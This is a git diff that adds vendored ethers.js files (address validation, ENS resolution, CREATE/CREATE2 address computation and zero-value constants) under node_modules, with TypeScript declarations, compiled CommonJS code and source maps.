+1,81 @@ +import type { Addressable, AddressLike, NameResolver } from "./index.js"; +/** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ +export declare function isAddressable(value: any): value is Addressable; +/** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ +export declare function isAddress(value: any): value is string; +/** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ +export declare function resolveAddress(target: AddressLike, resolver?: null | NameResolver): string | Promise; +//# sourceMappingURL=checks.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/checks.d.ts.map b/node_modules/ethers/lib.commonjs/address/checks.d.ts.map new file mode 100644 index 000000000000..e2e020d10fe8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/checks.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"checks.d.ts","sourceRoot":"","sources":["../../src.ts/address/checks.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,WAAW,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,YAAY,CAAC;AAGzE;;;;;;;;;;;;;GAaG;AACH,wBAAgB,aAAa,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,WAAW,CAE9D;AAED;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,MAAM,CAMrD;AAWD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,WAAW,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,YAAY,GAAG,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAkB5G"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/checks.js b/node_modules/ethers/lib.commonjs/address/checks.js new file mode 100644 index 000000000000..0e7727f42a97 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/checks.js @@ -0,0 +1,120 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.resolveAddress = exports.isAddress = exports.isAddressable = void 0; +const index_js_1 = require("../utils/index.js"); +const address_js_1 = require("./address.js"); +/** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ +function isAddressable(value) { + return (value && typeof (value.getAddress) === "function"); +} +exports.isAddressable = isAddressable; +/** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ +function isAddress(value) { + try { + (0, address_js_1.getAddress)(value); + return true; + } + catch (error) { } + return false; +} +exports.isAddress = isAddress; +async function checkAddress(target, promise) { + const result = await promise; + if (result == null || result === "0x0000000000000000000000000000000000000000") { + (0, index_js_1.assert)(typeof (target) !== "string", "unconfigured name", "UNCONFIGURED_NAME", { value: target }); + (0, index_js_1.assertArgument)(false, "invalid AddressLike value; did not resolve to a value address", "target", target); + } + return (0, address_js_1.getAddress)(result); +} +/** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ +function resolveAddress(target, resolver) { + if (typeof (target) === "string") { + if (target.match(/^0x[0-9a-f]{40}$/i)) { + return (0, address_js_1.getAddress)(target); + } + (0, index_js_1.assert)(resolver != null, "ENS resolution requires a provider", "UNSUPPORTED_OPERATION", { operation: "resolveName" }); + return checkAddress(target, resolver.resolveName(target)); + } + else if (isAddressable(target)) { + return checkAddress(target, target.getAddress()); + } + else if (target && typeof (target.then) === "function") { + return checkAddress(target, target); + } + (0, index_js_1.assertArgument)(false, "unsupported addressable value", "target", target); +} +exports.resolveAddress = resolveAddress; +//# sourceMappingURL=checks.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/checks.js.map b/node_modules/ethers/lib.commonjs/address/checks.js.map new file mode 100644 index 000000000000..8d13f247bbde --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/checks.js.map @@ -0,0 +1 @@ +{"version":3,"file":"checks.js","sourceRoot":"","sources":["../../src.ts/address/checks.ts"],"names":[],"mappings":";;;AAAA,gDAA2D;AAE3D,6CAA0C;AAK1C;;;;;;;;;;;;;GAaG;AACH,SAAgB,aAAa,CAAC,KAAU;IACpC,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,UAAU,CAAC,KAAK,UAAU,CAAC,CAAC;AAC9D,CAAC;AAFD,sCAEC;AAED;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AACH,SAAgB,SAAS,CAAC,KAAU;IAChC,IAAI;QACA,IAAA,uBAAU,EAAC,KAAK,CAAC,CAAC;QAClB,OAAO,IAAI,CAAC;KACf;IAAC,OAAO,KAAK,EAAE,GAAG;IACnB,OAAO,KAAK,CAAC;AACjB,CAAC;AAND,8BAMC;AAED,KAAK,UAAU,YAAY,CAAC,MAAW,EAAE,OAA+B;IACpE,MAAM,MAAM,GAAG,MAAM,OAAO,CAAC;IAC7B,IAAI,MAAM,IAAI,IAAI,IAAI,MAAM,KAAK,4CAA4C,EAAE;QAC3E,IAAA,iBAAM,EAAC,OAAM,CAAC,MAAM,CAAC,KAAK,QAAQ,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,CAAC,CAAC;QACjG,IAAA,yBAAc,EAAC,KAAK,EAAE,+DAA+D,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;KAC5G;IACD,OAAO,IAAA,uBAAU,EAAC,MAAM,CAAC,CAAC;AAC9B,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,SAAgB,cAAc,CAAC,MAAmB,EAAE,QAA8B;IAE9E,IAAI,OAAM,CAAC,MAAM,CAAC,KAAK,QAAQ,EAAE;QAC7B,IAAI,MAAM,CAAC,KAAK,CAAC,mBAAmB,CAAC,EAAE;YAAE,OAAO,IAAA,uBAAU,EAAC,MAAM,CAAC,CAAC;SAAE;QAErE,IAAA,iBAAM,EAAC,QAAQ,IAAI,IAAI,EAAE,oCAAoC,EACzD,uBAAuB,EAAE,EAAE,SAAS,EAAE,aAAa,EAAE,CAAC,CAAC;QAE3D,OAAO,YAAY,CAAC,MAAM,EAAE,QAAQ,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC;KAE7D;SAAM,IAAI,aAAa,CAAC,MAAM,CAAC,EAAE;QAC9B,OAAO,YAAY,CAAC,MAAM,EAAE,MAAM,CAAC,UAAU,EAAE,CAAC,CAAC;KAEpD;SAAM,IAAI,MAAM,IAAI,OAAM,CAAC,MAAM,CAAC,IAAI,CAAC,KAAK,UAAU,EAAE;QACrD,OAAO,YAAY,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;KACvC;IAED,IAAA,yBAAc,EAAC,KAAK,EAAE,+BAA+B,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;AAC7E,CAAC;AAlBD,wCAkBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/contract-address.d.ts b/node_modules/ethers/lib.commonjs/address/contract-address.d.ts new file mode 100644 index 000000000000..42b36f7f00cd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/contract-address.d.ts @@ -0,0 +1,48 @@ +import type { BigNumberish, BytesLike } from "../utils/index.js"; +/** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ +export declare function getCreateAddress(tx: { + from: string; + nonce: BigNumberish; +}): string; +/** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ +export declare function getCreate2Address(_from: string, _salt: BytesLike, _initCodeHash: BytesLike): string; +//# sourceMappingURL=contract-address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/contract-address.d.ts.map b/node_modules/ethers/lib.commonjs/address/contract-address.d.ts.map new file mode 100644 index 000000000000..624f8426ced8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/contract-address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"contract-address.d.ts","sourceRoot":"","sources":["../../src.ts/address/contract-address.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAKjE;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,gBAAgB,CAAC,EAAE,EAAE;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,KAAK,EAAE,YAAY,CAAA;CAAE,GAAG,MAAM,CAclF;AAED;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,wBAAgB,iBAAiB,CAAC,KAAK,EAAE,MAAM,EAAE,KAAK,EAAE,SAAS,EAAE,aAAa,EAAE,SAAS,GAAG,MAAM,CAUnG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/contract-address.js b/node_modules/ethers/lib.commonjs/address/contract-address.js new file mode 100644 index 000000000000..6c545bbf3d80 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/contract-address.js @@ -0,0 +1,74 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.getCreate2Address = exports.getCreateAddress = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../utils/index.js"); +const address_js_1 = require("./address.js"); +// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed +/** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ +function getCreateAddress(tx) { + const from = (0, address_js_1.getAddress)(tx.from); + const nonce = (0, index_js_2.getBigInt)(tx.nonce, "tx.nonce"); + let nonceHex = nonce.toString(16); + if (nonceHex === "0") { + nonceHex = "0x"; + } + else if (nonceHex.length % 2) { + nonceHex = "0x0" + nonceHex; + } + else { + nonceHex = "0x" + nonceHex; + } + return (0, address_js_1.getAddress)((0, index_js_2.dataSlice)((0, index_js_1.keccak256)((0, index_js_2.encodeRlp)([from, nonceHex])), 12)); +} +exports.getCreateAddress = getCreateAddress; +/** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ +function getCreate2Address(_from, _salt, _initCodeHash) { + const from = (0, address_js_1.getAddress)(_from); + const salt = (0, index_js_2.getBytes)(_salt, "salt"); + const initCodeHash = (0, index_js_2.getBytes)(_initCodeHash, "initCodeHash"); + (0, index_js_2.assertArgument)(salt.length === 32, "salt must be 32 bytes", "salt", _salt); + (0, index_js_2.assertArgument)(initCodeHash.length === 32, "initCodeHash must be 32 bytes", "initCodeHash", _initCodeHash); + return (0, address_js_1.getAddress)((0, index_js_2.dataSlice)((0, index_js_1.keccak256)((0, index_js_2.concat)(["0xff", from, salt, initCodeHash])), 12)); +} +exports.getCreate2Address = getCreate2Address; +//# sourceMappingURL=contract-address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/contract-address.js.map b/node_modules/ethers/lib.commonjs/address/contract-address.js.map new file mode 100644 index 000000000000..a64f5da53ac4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/contract-address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"contract-address.js","sourceRoot":"","sources":["../../src.ts/address/contract-address.ts"],"names":[],"mappings":";;;AAAA,iDAA+C;AAC/C,gDAE2B;AAE3B,6CAA0C;AAK1C,sGAAsG;AAEtG;;;;;;;;;;;;;;;;;GAiBG;AACH,SAAgB,gBAAgB,CAAC,EAAyC;IACtE,MAAM,IAAI,GAAG,IAAA,uBAAU,EAAC,EAAE,CAAC,IAAI,CAAC,CAAC;IACjC,MAAM,KAAK,GAAG,IAAA,oBAAS,EAAC,EAAE,CAAC,KAAK,EAAE,UAAU,CAAC,CAAC;IAE9C,IAAI,QAA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ules/ethers/lib.commonjs/address/index.d.ts b/node_modules/ethers/lib.commonjs/address/index.d.ts new file mode 100644 index 000000000000..c813ab8326c9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/index.d.ts @@ -0,0 +1,49 @@ +/** + * Addresses are a fundamental part of interacting with Ethereum. They + * represent the global identity of Externally Owned Accounts (accounts + * backed by a private key) and contracts. + * + * The Ethereum Naming Service (ENS) provides an interconnected ecosystem + * of contracts, standards and libraries which enable looking up an + * address for an ENS name. + * + * These functions help convert between various formats, validate + * addresses and safely resolve ENS names. + * + * @_section: api/address:Addresses [about-addresses] + */ +/** + * An interface for objects which have an address, and can + * resolve it asyncronously. + * + * This allows objects such as [[Signer]] or [[Contract]] to + * be used most places an address can be, for example getting + * the [balance](Provider-getBalance). + */ +export interface Addressable { + /** + * Get the object address. + */ + getAddress(): Promise; +} +/** + * Anything that can be used to return or resolve an address. + */ +export type AddressLike = string | Promise | Addressable; +/** + * An interface for any object which can resolve an ENS name. + */ +export interface NameResolver { + /** + * Resolve to the address for the ENS %%name%%. + * + * Resolves to ``null`` if the name is unconfigued. Use + * [[resolveAddress]] (passing this object as %%resolver%%) to + * throw for names that are unconfigured. + */ + resolveName(name: string): Promise; +} +export { getAddress, getIcapAddress } from "./address.js"; +export { getCreateAddress, getCreate2Address } from "./contract-address.js"; +export { isAddressable, isAddress, resolveAddress } from "./checks.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/index.d.ts.map b/node_modules/ethers/lib.commonjs/address/index.d.ts.map new file mode 100644 index 000000000000..87b489ffa794 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/address/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAIH;;;;;;;GAOG;AACH,MAAM,WAAW,WAAW;IACxB;;OAEG;IACH,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC,CAAC;CACjC;AAED;;GAEG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,GAAG,WAAW,CAAC;AAEjE;;GAEG;AACH,MAAM,WAAW,YAAY;IACzB;;;;;;OAMG;IACH,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;CACrD;AAED,OAAO,EAAE,UAAU,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAE1D,OAAO,EAAE,gBAAgB,EAAE,iBAAiB,EAAE,MAAM,uBAAuB,CAAC;AAG5E,OAAO,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/index.js b/node_modules/ethers/lib.commonjs/address/index.js new file mode 100644 index 000000000000..b09270af87ae --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/index.js @@ -0,0 +1,29 @@ +"use strict"; +/** + * Addresses are a fundamental part of interacting with Ethereum. They + * represent the global identity of Externally Owned Accounts (accounts + * backed by a private key) and contracts. + * + * The Ethereum Naming Service (ENS) provides an interconnected ecosystem + * of contracts, standards and libraries which enable looking up an + * address for an ENS name. + * + * These functions help convert between various formats, validate + * addresses and safely resolve ENS names. + * + * @_section: api/address:Addresses [about-addresses] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.resolveAddress = exports.isAddress = exports.isAddressable = exports.getCreate2Address = exports.getCreateAddress = exports.getIcapAddress = exports.getAddress = void 0; +null; +var address_js_1 = require("./address.js"); +Object.defineProperty(exports, "getAddress", { enumerable: true, get: function () { return address_js_1.getAddress; } }); +Object.defineProperty(exports, "getIcapAddress", { enumerable: true, get: function () { return address_js_1.getIcapAddress; } }); +var contract_address_js_1 = require("./contract-address.js"); +Object.defineProperty(exports, "getCreateAddress", { enumerable: true, get: function () { return contract_address_js_1.getCreateAddress; } }); +Object.defineProperty(exports, "getCreate2Address", { enumerable: true, get: function () { return contract_address_js_1.getCreate2Address; } }); +var checks_js_1 = require("./checks.js"); +Object.defineProperty(exports, "isAddressable", { enumerable: true, get: function () { return checks_js_1.isAddressable; } }); +Object.defineProperty(exports, "isAddress", { enumerable: true, get: function () { return checks_js_1.isAddress; } }); +Object.defineProperty(exports, "resolveAddress", { enumerable: true, get: function () { return checks_js_1.resolveAddress; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/index.js.map b/node_modules/ethers/lib.commonjs/address/index.js.map new file mode 100644 index 000000000000..eeb1d7bc1c32 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/address/index.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;GAaG;;;AAEH,IAAI,CAAC;AAoCL,2CAA0D;AAAjD,wGAAA,UAAU,OAAA;AAAE,4GAAA,cAAc,OAAA;AAEnC,6DAA4E;AAAnE,uHAAA,gBAAgB,OAAA;AAAE,wHAAA,iBAAiB,OAAA;AAG5C,yCAAuE;AAA9D,0GAAA,aAAa,OAAA;AAAE,sGAAA,SAAS,OAAA;AAAE,2GAAA,cAAc,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/addresses.d.ts b/node_modules/ethers/lib.commonjs/constants/addresses.d.ts new file mode 100644 index 000000000000..a32d6be03b7f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/addresses.d.ts @@ -0,0 +1,7 @@ +/** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ +export declare const ZeroAddress: string; +//# sourceMappingURL=addresses.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/addresses.d.ts.map b/node_modules/ethers/lib.commonjs/constants/addresses.d.ts.map new file mode 100644 index 000000000000..35a5c2211d5e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/addresses.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"addresses.d.ts","sourceRoot":"","sources":["../../src.ts/constants/addresses.ts"],"names":[],"mappings":"AACA;;;;GAIG;AACH,eAAO,MAAM,WAAW,EAAE,MAAqD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/addresses.js b/node_modules/ethers/lib.commonjs/constants/addresses.js new file mode 100644 index 000000000000..ff4fb40a53d8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/addresses.js @@ -0,0 +1,10 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ZeroAddress = void 0; +/** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ +exports.ZeroAddress = "0x0000000000000000000000000000000000000000"; +//# sourceMappingURL=addresses.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/addresses.js.map b/node_modules/ethers/lib.commonjs/constants/addresses.js.map new file mode 100644 index 000000000000..304c9fcd5ff1 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/addresses.js.map @@ -0,0 +1 @@ +{"version":3,"file":"addresses.js","sourceRoot":"","sources":["../../src.ts/constants/addresses.ts"],"names":[],"mappings":";;;AACA;;;;GAIG;AACU,QAAA,WAAW,GAAW,4CAA4C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/hashes.d.ts b/node_modules/ethers/lib.commonjs/constants/hashes.d.ts new file mode 100644 index 000000000000..784df7156993 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/hashes.d.ts @@ -0,0 +1,7 @@ +/** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ +export declare const ZeroHash: string; +//# sourceMappingURL=hashes.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/hashes.d.ts.map b/node_modules/ethers/lib.commonjs/constants/hashes.d.ts.map new file mode 100644 index 000000000000..23f5213c52cf --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/hashes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"hashes.d.ts","sourceRoot":"","sources":["../../src.ts/constants/hashes.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,eAAO,MAAM,QAAQ,EAAE,MAA6E,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/hashes.js b/node_modules/ethers/lib.commonjs/constants/hashes.js new file mode 100644 index 000000000000..fbcd74c8655b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/hashes.js @@ -0,0 +1,10 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ZeroHash = void 0; +/** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ +exports.ZeroHash = "0x0000000000000000000000000000000000000000000000000000000000000000"; +//# sourceMappingURL=hashes.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/hashes.js.map b/node_modules/ethers/lib.commonjs/constants/hashes.js.map new file mode 100644 index 000000000000..93e87e331481 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/hashes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hashes.js","sourceRoot":"","sources":["../../src.ts/constants/hashes.ts"],"names":[],"mappings":";;;AAAA;;;;GAIG;AACU,QAAA,QAAQ,GAAW,oEAAoE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/index.d.ts b/node_modules/ethers/lib.commonjs/constants/index.d.ts new file mode 100644 index 000000000000..fa4e9e7a361e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/index.d.ts @@ -0,0 +1,10 @@ +/** + * Some common constants useful for Ethereum. + * + * @_section: api/constants: Constants [about-constants] + */ +export { ZeroAddress } from "./addresses.js"; +export { ZeroHash } from "./hashes.js"; +export { N, WeiPerEther, MaxUint256, MinInt256, MaxInt256 } from "./numbers.js"; +export { EtherSymbol, MessagePrefix } from "./strings.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/index.d.ts.map b/node_modules/ethers/lib.commonjs/constants/index.d.ts.map new file mode 100644 index 000000000000..4df7cd4c8dbe --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/constants/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,WAAW,EAAE,MAAM,gBAAgB,CAAC;AAC7C,OAAO,EAAE,QAAQ,EAAE,MAAM,aAAa,CAAC;AACvC,OAAO,EACH,CAAC,EACD,WAAW,EACX,UAAU,EACV,SAAS,EACT,SAAS,EACZ,MAAM,cAAc,CAAC;AACtB,OAAO,EAAE,WAAW,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/index.js b/node_modules/ethers/lib.commonjs/constants/index.js new file mode 100644 index 000000000000..6be74a774b4b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/index.js @@ -0,0 +1,22 @@ +"use strict"; +/** + * Some common constants useful for Ethereum. + * + * @_section: api/constants: Constants [about-constants] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.MessagePrefix = exports.EtherSymbol = exports.MaxInt256 = exports.MinInt256 = exports.MaxUint256 = exports.WeiPerEther = exports.N = exports.ZeroHash = exports.ZeroAddress = void 0; +var addresses_js_1 = require("./addresses.js"); +Object.defineProperty(exports, "ZeroAddress", { enumerable: true, get: function () { return addresses_js_1.ZeroAddress; } }); +var hashes_js_1 = require("./hashes.js"); +Object.defineProperty(exports, "ZeroHash", { enumerable: true, get: function () { return hashes_js_1.ZeroHash; } }); +var numbers_js_1 = require("./numbers.js"); +Object.defineProperty(exports, "N", { enumerable: true, get: function () { return numbers_js_1.N; } }); +Object.defineProperty(exports, "WeiPerEther", { enumerable: true, get: function () { return numbers_js_1.WeiPerEther; } }); +Object.defineProperty(exports, "MaxUint256", { enumerable: true, get: function () { return numbers_js_1.MaxUint256; } }); +Object.defineProperty(exports, "MinInt256", { enumerable: true, get: function () { return numbers_js_1.MinInt256; } }); +Object.defineProperty(exports, "MaxInt256", { enumerable: true, get: function () { return numbers_js_1.MaxInt256; } }); +var strings_js_1 = require("./strings.js"); +Object.defineProperty(exports, "EtherSymbol", { enumerable: true, get: function () { return strings_js_1.EtherSymbol; } }); +Object.defineProperty(exports, "MessagePrefix", { enumerable: true, get: function () { return strings_js_1.MessagePrefix; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/index.js.map b/node_modules/ethers/lib.commonjs/constants/index.js.map new file mode 100644 index 000000000000..d831b4ab9185 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/index.js.map @@ -0,0 +1 @@ 